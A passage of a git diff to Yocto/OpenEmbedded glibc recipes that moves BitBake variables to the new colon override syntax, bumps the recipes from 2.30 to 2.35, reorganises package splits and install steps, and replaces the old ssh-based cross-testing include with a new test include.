-RTLDLIST_class-nativesdk = "${base_libdir}/${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', 'ld-linux.so.2', d)}"
+RTLDLIST:class-nativesdk = "${base_libdir}/${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', 'ld-linux.so.2', d)}"
glibc_dl_info[vardepsexclude] = "OVERRIDES"
diff --git a/meta/recipes-core/glibc/glibc-locale.inc b/meta/recipes-core/glibc/glibc-locale.inc
index ef06389ff9..b8de7d3192 100644
--- a/meta/recipes-core/glibc/glibc-locale.inc
+++ b/meta/recipes-core/glibc/glibc-locale.inc
@@ -9,7 +9,7 @@ LOCALEBASEPN = "${MLPREFIX}glibc"
# ERROR: objcopy failed with exit code 127 (cmd was 'i586-webos-linux-objcopy' --only-keep-debug 'glibc-locale/2.17-r0/package/usr/lib/gconv/IBM1166.so' 'glibc-locale/2.17-r0/package/usr/lib/gconv/.debug/IBM1166.so')
# ERROR: Function failed: split_and_strip_files
BINUTILSDEP = "virtual/${MLPREFIX}${TARGET_PREFIX}binutils:do_populate_sysroot"
-BINUTILSDEP_class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
+BINUTILSDEP:class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
do_package[depends] += "${BINUTILSDEP}"
DEPENDS += "virtual/libc"
@@ -21,7 +21,7 @@ DEPENDS += "virtual/libc"
# default to disabled
ENABLE_BINARY_LOCALE_GENERATION ?= "0"
-ENABLE_BINARY_LOCALE_GENERATION_pn-nativesdk-glibc-locale = "1"
+ENABLE_BINARY_LOCALE_GENERATION:pn-nativesdk-glibc-locale = "1"
#enable locale generation on these arches
# BINARY_LOCALE_ARCHES is a space separated list of regular expressions
@@ -40,32 +40,32 @@ PACKAGES_DYNAMIC = "^locale-base-.* \
^${MLPREFIX}glibc-gconv$"
# Create a glibc-binaries package
-ALLOW_EMPTY_${BPN}-binaries = "1"
+ALLOW_EMPTY:${BPN}-binaries = "1"
PACKAGES += "${BPN}-binaries"
-RRECOMMENDS_${BPN}-binaries = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-binary") != -1])}"
+RRECOMMENDS:${BPN}-binaries = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-binary") != -1])}"
# Create a glibc-charmaps package
-ALLOW_EMPTY_${BPN}-charmaps = "1"
+ALLOW_EMPTY:${BPN}-charmaps = "1"
PACKAGES += "${BPN}-charmaps"
-RRECOMMENDS_${BPN}-charmaps = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-charmap") != -1])}"
+RRECOMMENDS:${BPN}-charmaps = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-charmap") != -1])}"
# Create a glibc-gconvs package
-ALLOW_EMPTY_${BPN}-gconvs = "1"
+ALLOW_EMPTY:${BPN}-gconvs = "1"
PACKAGES += "${BPN}-gconvs"
-RRECOMMENDS_${BPN}-gconvs = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-gconv") != -1])}"
+RRECOMMENDS:${BPN}-gconvs = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-gconv") != -1])}"
# Create a glibc-localedatas package
-ALLOW_EMPTY_${BPN}-localedatas = "1"
+ALLOW_EMPTY:${BPN}-localedatas = "1"
PACKAGES += "${BPN}-localedatas"
-RRECOMMENDS_${BPN}-localedatas = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-localedata") != -1])}"
+RRECOMMENDS:${BPN}-localedatas = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-localedata") != -1])}"
-DESCRIPTION_localedef = "glibc: compile locale definition files"
+DESCRIPTION:localedef = "glibc: compile locale definition files"
# glibc-gconv is dynamically added into PACKAGES, thus
-# FILES_glibc-gconv will not be automatically extended in multilib.
-# Explicitly add ${MLPREFIX} for FILES_glibc-gconv.
-FILES_${MLPREFIX}glibc-gconv = "${libdir}/gconv/*"
-FILES_localedef = "${bindir}/localedef"
+# FILES:glibc-gconv will not be automatically extended in multilib.
+# Explicitly add ${MLPREFIX} for FILES:glibc-gconv.
+FILES:${MLPREFIX}glibc-gconv = "${libdir}/gconv/*"
+FILES:localedef = "${bindir}/localedef"
LOCALETREESRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale"
diff --git a/meta/recipes-core/glibc/glibc-locale_2.30.bb b/meta/recipes-core/glibc/glibc-locale_2.35.bb
index f7702e0358..f7702e0358 100644
--- a/meta/recipes-core/glibc/glibc-locale_2.30.bb
+++ b/meta/recipes-core/glibc/glibc-locale_2.35.bb
diff --git a/meta/recipes-core/glibc/glibc-mtrace.inc b/meta/recipes-core/glibc/glibc-mtrace.inc
index ef9d60ec23..734a566562 100644
--- a/meta/recipes-core/glibc/glibc-mtrace.inc
+++ b/meta/recipes-core/glibc/glibc-mtrace.inc
@@ -2,8 +2,8 @@ require glibc-collateral.inc
SUMMARY = "mtrace utility provided by glibc"
DESCRIPTION = "mtrace utility provided by glibc"
-RDEPENDS_${PN} = "perl"
-RPROVIDES_${PN} = "libc-mtrace"
+RDEPENDS:${PN} = "perl"
+RPROVIDES:${PN} = "libc-mtrace"
SRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale/scripts"
diff --git a/meta/recipes-core/glibc/glibc-mtrace_2.30.bb b/meta/recipes-core/glibc/glibc-mtrace_2.35.bb
index 0b69bad46a..0b69bad46a 100644
--- a/meta/recipes-core/glibc/glibc-mtrace_2.30.bb
+++ b/meta/recipes-core/glibc/glibc-mtrace_2.35.bb
diff --git a/meta/recipes-core/glibc/glibc-package.inc b/meta/recipes-core/glibc/glibc-package.inc
index d7037c5cce..7f9e7503a1 100644
--- a/meta/recipes-core/glibc/glibc-package.inc
+++ b/meta/recipes-core/glibc/glibc-package.inc
@@ -1,71 +1,85 @@
INHIBIT_SYSROOT_STRIP = "1"
-PACKAGES = "${PN}-dbg catchsegv sln nscd ldd tzcode glibc-thread-db ${PN}-pic libcidn libmemusage libnss-db libsegfault ${PN}-pcprofile libsotruss ${PN} ${PN}-utils glibc-extra-nss ${PN}-dev ${PN}-staticdev ${PN}-doc"
+PACKAGES = "${PN}-dbg sln nscd ldconfig ldd ldso tzcode glibc-thread-db ${PN}-pic libmemusage malloc-debug libnss-db ${PN}-pcprofile libsotruss ${PN} ${PN}-utils glibc-extra-nss ${PN}-dev ${PN}-staticdev ${PN}-doc ${PN}-src"
# The ld.so in this glibc supports the GNU_HASH
-RPROVIDES_${PN} = "eglibc rtld(GNU_HASH)"
-RPROVIDES_${PN}-utils = "eglibc-utils"
-RPROVIDES_${PN}-mtrace = "eglibc-mtrace libc-mtrace"
-RPROVIDES_${PN}-pic = "eglibc-pic"
-RPROVIDES_${PN}-dev = "eglibc-dev libc6-dev virtual-libc-dev"
-RPROVIDES_${PN}-staticdev = "eglibc-staticdev"
-RPROVIDES_${PN}-doc = "eglibc-doc"
-RPROVIDES_glibc-extra-nss = "eglibc-extra-nss"
-RPROVIDES_glibc-thread-db = "eglibc-thread-db"
-RPROVIDES_${PN}-pcprofile = "eglibc-pcprofile"
-RPROVIDES_${PN}-dbg = "eglibc-dbg"
+RPROVIDES:${PN} = "eglibc rtld(GNU_HASH)"
+RPROVIDES:${PN}-utils = "eglibc-utils"
+RPROVIDES:${PN}-mtrace = "eglibc-mtrace libc-mtrace"
+RPROVIDES:${PN}-pic = "eglibc-pic"
+RPROVIDES:${PN}-dev = "eglibc-dev libc6-dev virtual-libc-dev"
+RPROVIDES:${PN}-staticdev = "eglibc-staticdev"
+RPROVIDES:${PN}-doc = "eglibc-doc"
+RPROVIDES:glibc-extra-nss = "eglibc-extra-nss"
+RPROVIDES:glibc-thread-db = "eglibc-thread-db"
+RPROVIDES:${PN}-pcprofile = "eglibc-pcprofile"
+RPROVIDES:${PN}-dbg = "eglibc-dbg"
libc_baselibs = "${base_libdir}/libc.so.* ${base_libdir}/libc-*.so ${base_libdir}/libm*.so.* ${base_libdir}/libm-*.so ${base_libdir}/libmvec-*.so ${base_libdir}/ld*.so.* ${base_libdir}/ld-*.so ${base_libdir}/libpthread*.so.* ${base_libdir}/libpthread-*.so ${base_libdir}/libresolv*.so.* ${base_libdir}/libresolv-*.so ${base_libdir}/librt*.so.* ${base_libdir}/librt-*.so ${base_libdir}/libutil*.so.* ${base_libdir}/libutil-*.so ${base_libdir}/libnsl*.so.* ${base_libdir}/libnsl-*.so ${base_libdir}/libnss_files*.so.* ${base_libdir}/libnss_files-*.so ${base_libdir}/libnss_compat*.so.* ${base_libdir}/libnss_compat-*.so ${base_libdir}/libnss_dns*.so.* ${base_libdir}/libnss_dns-*.so ${base_libdir}/libdl*.so.* ${base_libdir}/libdl-*.so ${base_libdir}/libanl*.so.* ${base_libdir}/libanl-*.so ${base_libdir}/libBrokenLocale*.so.* ${base_libdir}/libBrokenLocale-*.so"
ARCH_DYNAMIC_LOADER = ""
# The aarch64 ABI says the dynamic linker -must- be
# /lib/ld-linux-aarch64{,_be}.so.1. With usrmerge, that may mean that
# we need to install it in /usr/lib.
-ARCH_DYNAMIC_LOADER_aarch64 = "ld-linux-${TARGET_ARCH}.so.1"
-libc_baselibs_append = " ${@oe.utils.conditional('ARCH_DYNAMIC_LOADER', '', '', '${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}', d)}"
-INSANE_SKIP_${PN}_append_aarch64 = " libdir"
-
-FILES_${PN} = "${libc_baselibs} ${libexecdir}/* ${base_sbindir}/ldconfig ${sysconfdir}/ld.so.conf"
-FILES_ldd = "${bindir}/ldd"
-FILES_libsegfault = "${base_libdir}/libSegFault*"
-FILES_libcidn = "${base_libdir}/libcidn-*.so ${base_libdir}/libcidn.so.*"
-FILES_libmemusage = "${base_libdir}/libmemusage.so"
-FILES_libnss-db = "${base_libdir}/libnss_db.so.* ${base_libdir}/libnss_db-*.so ${localstatedir}/db/Makefile ${localstatedir}/db/makedbs.sh"
-RDEPENDS_libnss-db = "${PN}-utils"
-FILES_glibc-extra-nss = "${base_libdir}/libnss_*-*.so ${base_libdir}/libnss_*.so.*"
-FILES_sln = "${base_sbindir}/sln"
-FILES_${PN}-pic = "${libdir}/*_pic.a ${libdir}/*_pic.map ${libdir}/libc_pic/*.o"
-FILES_libsotruss = "${libdir}/audit/sotruss-lib.so"
+ARCH_DYNAMIC_LOADER:aarch64 = "ld-linux-${TARGET_ARCH}.so.1"
+libc_baselibs:append = " ${@oe.utils.conditional('ARCH_DYNAMIC_LOADER', '', '', '${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}', d)}"
+INSANE_SKIP:${PN}:append:aarch64 = " libdir"
+INSANE_SKIP:${PN}-dev += "staticdev"
+INSANE_SKIP:${MLPREFIX}ldso:append = " dev-so libdir"
+
+FILES:${PN} = "${libc_baselibs} ${libexecdir}/* ${sysconfdir}/ld.so.conf"
+RRECOMMENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'ldconfig', '${MLPREFIX}ldconfig', '', d)}"
+FILES:ldconfig = "${base_sbindir}/ldconfig"
+FILES:ldd = "${bindir}/ldd"
+FILES:ldso = "${bindir}/${MLPREFIX}ld.so"
+FILES:libmemusage = "${base_libdir}/libmemusage.so"
+FILES:malloc-debug = "${base_libdir}/libc_malloc_debug.so.0"
+FILES:libnss-db = "${base_libdir}/libnss_db.so.* ${base_libdir}/libnss_db-*.so ${localstatedir}/db/Makefile ${localstatedir}/db/makedbs.sh"
+RDEPENDS:libnss-db = "${PN}-utils"
+FILES:glibc-extra-nss = "${base_libdir}/libnss_*-*.so ${base_libdir}/libnss_*.so.*"
+FILES:sln = "${base_sbindir}/sln"
+FILES:${PN}-pic = "${libdir}/*_pic.a ${libdir}/*_pic.map ${libdir}/libc_pic/*.o"
+FILES:libsotruss = "${libdir}/audit/sotruss-lib.so"
FILES_SOLIBSDEV = "${libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-dev += "${libdir}/*_nonshared.a ${base_libdir}/*_nonshared.a ${base_libdir}/*.o ${datadir}/aclocal"
-RDEPENDS_${PN}-dev = "linux-libc-headers-dev"
-FILES_${PN}-staticdev += "${libdir}/*.a ${base_libdir}/*.a"
-FILES_nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_unitdir}/system/nscd* ${sysconfdir}/tmpfiles.d/nscd.conf \
+FILES:${PN}-dev += "${libdir}/libpthread.a ${libdir}/libdl.a ${libdir}/libutil.a ${libdir}/libanl.a ${libdir}/*_nonshared.a ${base_libdir}/*_nonshared.a ${base_libdir}/*.o ${datadir}/aclocal"
+RDEPENDS:${PN}-dev = "linux-libc-headers-dev"
+FILES:${PN}-staticdev += "${libdir}/*.a ${base_libdir}/*.a"
+FILES:nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_system_unitdir}/nscd* ${sysconfdir}/tmpfiles.d/nscd.conf \
${sysconfdir}/nscd.conf ${sysconfdir}/default/volatiles/98_nscd ${localstatedir}/db/nscd"
-FILES_${PN}-mtrace = "${bindir}/mtrace"
-FILES_tzcode = "${bindir}/tzselect ${sbindir}/zic ${sbindir}/zdump"
-FILES_${PN}-utils = "${bindir}/* ${sbindir}/*"
-FILES_catchsegv = "${bindir}/catchsegv"
-RDEPENDS_catchsegv = "libsegfault"
-FILES_${PN}-pcprofile = "${base_libdir}/libpcprofile.so"
-FILES_glibc-thread-db = "${base_libdir}/libthread_db.so.* ${base_libdir}/libthread_db-*.so"
-RPROVIDES_${PN}-dev += "libc-dev"
-RPROVIDES_${PN}-staticdev += "libc-staticdev"
-
-SUMMARY_sln = "The static ln"
-DESCRIPTION_sln = "Similar to the 'ln' utility, but statically linked. sln is useful to make symbolic links to dynamic libraries if the dynamic linking system, for some reason, is not functional."
-SUMMARY_nscd = "Name service cache daemon"
-DESCRIPTION_nscd = "nscd, name service cache daemon, caches name service lookups for the passwd, group and hosts information. It can damatically improvide performance with remote, such as NIS or NIS+, name services."
-SUMMARY_glibc-extra-nss = "hesiod, NIS and NIS+ nss libraries"
-DESCRIPTION_glibc-extra-nss = "glibc: nis, nisplus and hesiod search services."
-SUMMARY_ldd = "print shared library dependencies"
-DESCRIPTION_ldd = "${bindir}/ldd prints shared library dependencies for each program or shared library specified on the command line."
-SUMMARY_${PN}-utils = "Miscellaneous utilities provided by glibc"
-DESCRIPTION_${PN}-utils = "Miscellaneous utilities including getconf, iconv, locale, gencat, ..."
-DESCRIPTION_libsotruss = "Library to support sotruss which traces calls through PLTs"
-DESCRIPTION_tzcode = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
-
-inherit libc-common multilib_header
-
-do_install_append () {
+FILES:${PN}-mtrace = "${bindir}/mtrace"
+FILES:tzcode = "${bindir}/tzselect ${sbindir}/zic ${bindir}/zdump"
+FILES:${PN}-utils = "${bindir}/* ${sbindir}/*"
+FILES:${PN}-pcprofile = "${base_libdir}/libpcprofile.so"
+FILES:glibc-thread-db = "${base_libdir}/libthread_db.so.* ${base_libdir}/libthread_db-*.so"
+RPROVIDES:${PN}-dev += "libc-dev"
+RPROVIDES:${PN}-staticdev += "libc-staticdev"
+
+SUMMARY:sln = "The static ln"
+DESCRIPTION:sln = "Similar to the 'ln' utility, but statically linked. sln is useful to make symbolic links to dynamic libraries if the dynamic linking system, for some reason, is not functional."
+SUMMARY:nscd = "Name service cache daemon"
+DESCRIPTION:nscd = "nscd, name service cache daemon, caches name service lookups for the passwd, group and hosts information. It can damatically improvide performance with remote, such as NIS or NIS+, name services."
+SUMMARY:glibc-extra-nss = "hesiod, NIS and NIS+ nss libraries"
+DESCRIPTION:glibc-extra-nss = "glibc: nis, nisplus and hesiod search services."
+SUMMARY:ldd = "print shared library dependencies"
+DESCRIPTION:ldd = "${bindir}/ldd prints shared library dependencies for each program or shared library specified on the command line."
+SUMMARY:${PN}-utils = "Miscellaneous utilities provided by glibc"
+DESCRIPTION:${PN}-utils = "Miscellaneous utilities including getconf, iconv, locale, gencat, ..."
+DESCRIPTION:libsotruss = "Library to support sotruss which traces calls through PLTs"
+DESCRIPTION:tzcode = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
+
+inherit multilib_header
+
+do_install() {
+ oe_runmake install_root=${D} install
+ install -Dm 0644 ${WORKDIR}/etc/ld.so.conf ${D}/${sysconfdir}/ld.so.conf
+ install -d ${D}${localedir}
+ make -f ${WORKDIR}/generate-supported.mk IN="${S}/localedata/SUPPORTED" OUT="${WORKDIR}/SUPPORTED"
+ # get rid of some broken files...
+ for i in ${GLIBC_BROKEN_LOCALES}; do
+ sed -i "/$i/d" ${WORKDIR}/SUPPORTED
+ done
+ rm -f ${D}${sysconfdir}/rpc
+ rm -rf ${D}${datadir}/zoneinfo
+ rm -rf ${D}${libexecdir}/getconf
+
rm -f ${D}${sysconfdir}/localtime
# remove empty glibc dir
@@ -73,7 +87,7 @@ do_install_append () {
rmdir --ignore-fail-on-non-empty ${D}${libexecdir}
fi
- oe_multilib_header bits/syscall.h bits/long-double.h bits/floatn.h
+ oe_multilib_header bits/syscall.h bits/long-double.h bits/floatn.h bits/endianness.h bits/struct_rwlock.h
if [ -f ${D}${bindir}/mtrace ]; then
sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' -e '2s,exec.*perl,exec ${USRBINPATH}/env perl,' ${D}${bindir}/mtrace
@@ -91,8 +105,8 @@ do_install_append () {
sed -i "s%daemon%start-stop-daemon --start --exec%g" ${D}${sysconfdir}/init.d/nscd
sed -i "s|\(enable-cache\t\+netgroup\t\+\)yes|\1no|" ${D}${sysconfdir}/nscd.conf
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${S}/nscd/nscd.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/nscd/nscd.service ${D}${systemd_system_unitdir}/
# The dynamic loader will have been installed into
# ${base_libdir}. However, if that isn't going to end up being
@@ -104,14 +118,19 @@ do_install_append () {
ln -s ${@oe.path.relative('${root_prefix}/lib', '${base_libdir}')}/${ARCH_DYNAMIC_LOADER} \
${D}${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}
fi
+ ln -rs ${D}${base_libdir}/libpthread.so.0 ${D}${libdir}/libpthread.so
+ ln -rs ${D}${base_libdir}/librt.so.1 ${D}${libdir}/librt.so
+ if [ -n "${MLPREFIX}" ]; then
+ mv ${D}${bindir}/ld.so ${D}${bindir}/${MLPREFIX}ld.so
+ fi
}
-do_install_append_class-target() {
- if ! ${@bb.utils.contains('DISTRO_FEATURES', 'ldconfig', 'true', 'false', d)}; then
- # The distro doesn't want these files so let's not install them
- rm -f ${D}${sysconfdir}/ld.so.conf
- rm -f ${D}${base_sbindir}/ldconfig
- fi
+def get_libc_fpu_setting(bb, d):
+ if d.getVar('TARGET_FPU') in [ 'soft', 'ppc-efd' ]:
+ return "--without-fp"
+ return ""
+
+do_install:append:class-target() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/tmpfiles.d
echo "d /run/nscd 755 root root -" \
@@ -125,23 +144,25 @@ do_install_append_class-target() {
fi
}
-do_install_append_aarch64 () {
+do_install:append:aarch64 () {
do_install_armmultilib
}
-do_install_append_arm () {
+do_install:append:arm () {
do_install_armmultilib
}
-do_install_append_armeb () {
+do_install:append:armeb () {
do_install_armmultilib
}
do_install_armmultilib () {
- oe_multilib_header bits/endian.h bits/fcntl.h bits/fenv.h bits/fp-fast.h bits/hwcap.h bits/ipc.h bits/link.h bits/wordsize.h
+ oe_multilib_header bits/endian.h bits/fcntl.h bits/fenv.h bits/fp-fast.h bits/hwcap.h bits/ipc.h bits/link.h
oe_multilib_header bits/local_lim.h bits/mman.h bits/msq.h bits/pthreadtypes.h bits/pthreadtypes-arch.h bits/sem.h bits/semaphore.h bits/setjmp.h
oe_multilib_header bits/shm.h bits/sigstack.h bits/stat.h bits/statfs.h bits/typesizes.h
oe_multilib_header bits/procfs-id.h bits/procfs.h bits/shmlba.h
+ oe_multilib_header bits/struct_stat.h bits/pthread_stack_min.h
+ oe_multilib_header bits/dl_find_object.h bits/rseq.h bits/timesize.h
oe_multilib_header fpu_control.h gnu/lib-names.h gnu/stubs.h ieee754.h
@@ -178,7 +199,6 @@ do_stash_locale () {
fi
cp -fpPR ${D}${datadir}/* $dest${datadir}
- rm -rf ${D}${datadir}/locale/
cp -fpPR ${WORKDIR}/SUPPORTED $dest
target=$dest/scripts
@@ -216,6 +236,8 @@ stash_locale_cleanup () {
rm -rf $cleanupdir${libdir}/gconv
rm -rf $cleanupdir${localedir}
rm -rf $cleanupdir${datadir}/locale
+ rmdir --ignore-fail-on-non-empty $cleanupdir${datadir}
+
if [ "${libdir}" != "${exec_prefix}/lib" ] && [ "${root_prefix}/lib" != "${exec_prefix}/lib" ]; then
if [ -d "$cleanupdir${exec_prefix}/lib" ]; then
if [ -z "${ARCH_DYNAMIC_LOADER}" -o \
@@ -236,7 +258,26 @@ stash_locale_package_cleanup() {
stash_locale_cleanup ${PKGD}
}
-pkg_postinst_nscd () {
+python populate_packages:prepend () {
+ if d.getVar('DEBIAN_NAMES'):
+ pkgs = d.getVar('PACKAGES').split()
+ bpn = d.getVar('BPN')
+ prefix = d.getVar('MLPREFIX') or ""
+ # Set the base package...
+ d.setVar('PKG:' + prefix + bpn, prefix + 'libc6')
+ libcprefix = prefix + bpn + '-'
+ for p in pkgs:
+ # And all the subpackages.
+ if p.startswith(libcprefix):
+ renamed = p.replace(bpn, 'libc6', 1)
+ d.setVar('PKG:' + p, renamed)
+ # For backward compatibility with old -dbg package
+ d.appendVar('RPROVIDES:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RCONFLICTS:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RREPLACES:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+}
+
+pkg_postinst:nscd () {
if [ -z "$D" ]; then
if command -v systemd-tmpfiles >/dev/null; then
systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/nscd.conf
@@ -245,7 +286,7 @@ pkg_postinst_nscd () {
fi
fi
}
-CONFFILES_nscd="${sysconfdir}/nscd.conf"
+CONFFILES:nscd="${sysconfdir}/nscd.conf"
SYSTEMD_PACKAGES = "nscd"
-SYSTEMD_SERVICE_nscd = "nscd.service"
+SYSTEMD_SERVICE:nscd = "nscd.service"
diff --git a/meta/recipes-core/glibc/glibc-scripts.inc b/meta/recipes-core/glibc/glibc-scripts.inc
index 14a14e4512..47216ae7d7 100644
--- a/meta/recipes-core/glibc/glibc-scripts.inc
+++ b/meta/recipes-core/glibc/glibc-scripts.inc
@@ -2,7 +2,7 @@ require glibc-collateral.inc
SUMMARY = "utility scripts provided by glibc"
DESCRIPTION = "utility scripts provided by glibc"
-RDEPENDS_${PN} = "bash glibc-mtrace"
+RDEPENDS:${PN} = "bash glibc-mtrace"
SRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale/scripts"
@@ -17,7 +17,7 @@ do_install() {
# sotruss script requires sotruss-lib.so (given by libsotruss package),
# to produce trace of the library calls.
-RDEPENDS_${PN} += "libsotruss"
+RDEPENDS:${PN} += "libsotruss"
# Don't scan for CVEs as glibc will be scanned
CVE_PRODUCT = ""
diff --git a/meta/recipes-core/glibc/glibc-scripts_2.30.bb b/meta/recipes-core/glibc/glibc-scripts_2.35.bb
index 5a89bd8022..5a89bd8022 100644
--- a/meta/recipes-core/glibc/glibc-scripts_2.30.bb
+++ b/meta/recipes-core/glibc/glibc-scripts_2.35.bb
diff --git a/meta/recipes-core/glibc/glibc-testing.inc b/meta/recipes-core/glibc/glibc-testing.inc
deleted file mode 100644
index 0a42ae7f7c..0000000000
--- a/meta/recipes-core/glibc/glibc-testing.inc
+++ /dev/null
@@ -1,95 +0,0 @@
-do_compile_append () {
- # now generate script to drive testing
- echo "#!/usr/bin/env sh" >${B}/${HOST_PREFIX}testglibc
- set >> ${B}/${HOST_PREFIX}testglibc
- # prune out the unneeded vars
- sed -i -e "/^BASH/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^USER/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^OPT/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^DIRSTACK/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^EUID/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^FUNCNAME/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^GROUPS/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^HOST/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^HOME/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^IFS/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^LC_ALL/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^LOGNAME/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^MACHTYPE/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^OSTYPE/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^PIPE/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^SHELL/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^'/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^UID/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^TERM/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^PKG_/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^POSIXLY_/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^PPID/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^PS4/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^Q/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^SHLVL/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^STAGING/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^LD_LIBRARY_PATH/d" ${B}/${HOST_PREFIX}testglibc
- sed -i -e "/^PSEUDO/d" ${B}/${HOST_PREFIX}testglibc
-
- # point to real sysroot not the toolchain bootstrap sysroot
- sed -i -e "s/\-tcbootstrap//g" ${B}/${HOST_PREFIX}testglibc
-
- # use the final cross-gcc to test since some tests need libstdc++
- sed -i -e "s/^PATH=.*\.gcc-cross-initial\:/PATH=/g" ${B}/${HOST_PREFIX}testglibc
-
- # append execution part script
-cat >> ${B}/${HOST_PREFIX}testglibc << STOP
-target="\$1"
-if [ "x\$target" = "x" ]
-then
- echo "Please specify the target machine and remote user in form of user@target"
- exit 1;
-fi
-ssh \$target ls \$PWD\ 2>&1 > /dev/null
-if [ "x\$?" != "x0" ]
-then
- echo "Failed connecting to \$target it could be because of:"
- echo "1. You dont have passwordless ssh setup to access \$target"
- echo "2. NFS share on \$target is not mounted or if mounted then not matching the build tree layout."
- echo " The tree should be accessible at same location on build host and target"
- echo " You can add nfs-client to IMAGE_FEATURES to get the nfs client on target"
- echo "3. nfs server on build host is not running."
- echo " Please make sure that you have 'no_root_squash' added in /etc/exports if you want"
- echo " to test as root user on target (usually its recommended to create a non"
- echo " root user."
- echo " As a sanity check make sure that target can read/write to the glibc build tree"
- echo " Please refer to ${S}/EGLIBC.cross-testing for further instructions on setup"
- exit 1
-fi
- echo "# we test using cross compiler from real sysroot therefore override the" > ${B}/configparms
- echo "# definitions that come from ${B}/config.make" >> ${B}/configparms
- fgrep tcbootstrap ${B}/config.make > ${B}/configparms
- sed -i -e "s/\-tcbootstrap//g" ${B}/configparms
-
-# g++ uses flag -nostdinc, so the locations of system include headers must be explicitly specified
-# If the locations are not already specified in config.make, then we provide the following locations:
-# <sysroot>/usr/include/c++/<g++ version>
-# <sysroot>/usr/include/c++/<g++ version>/<machine>
-
-cxxincludes=\`cat ${B}/config.make | gawk '\$1 == "c++-sysincludes"' | gawk -F"=" '{print \$2}' | sed "s/[ \t]\?//g"\`
-
-if [ -z "\$cxxincludes" ]; then
- sysroot=\`cat ${B}/configparms | sed -n "/CXX/p" | sed -e "s/^.*--sysroot=//"\`
- cxx=\`cat ${B}/configparms | gawk '\$1 ~ /^CXX/' | gawk -F"=" '{print \$2}' | gawk '{print \$1}'\`
- cxxmachine=\`\$cxx -dumpmachine\`
- cxxversion=\`\$cxx -dumpversion\`
- # pass the new value of c++-sysincludes via configparms
- echo "# c++-sysincludes added:" >> ${B}/configparms
- echo "c++-sysincludes = -isystem \$sysroot/usr/include/c++/\$cxxversion -isystem \$sysroot/usr/include/c++/\$cxxversion/\$cxxmachine" >> ${B}/configparms
-fi
-
-wrapper="${S}/scripts/cross-test-ssh.sh \$target"
-localedef="${STAGING_BINDIR_NATIVE}/cross-localedef --little-endian --uint32-align=4"
-make tests-clean
-make cross-localedef="\$localedef" cross-test-wrapper="\$wrapper" -k check
-rm -rf ${B}/configparms
-STOP
-
- chmod +x ${B}/${HOST_PREFIX}testglibc
-}
diff --git a/meta/recipes-core/glibc/glibc-tests.inc b/meta/recipes-core/glibc/glibc-tests.inc
new file mode 100644
index 0000000000..a8fe160a54
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-tests.inc
@@ -0,0 +1,32 @@
+EXCLUDE_FROM_WORLD = "1"
+
+# handle PN differences
+FILESEXTRAPATHS:prepend := "${THISDIR}/glibc:"
+
+# setup depends
+INHIBIT_DEFAULT_DEPS = ""
+
+python () {
+ libc = d.getVar("PREFERRED_PROVIDER_virtual/libc")
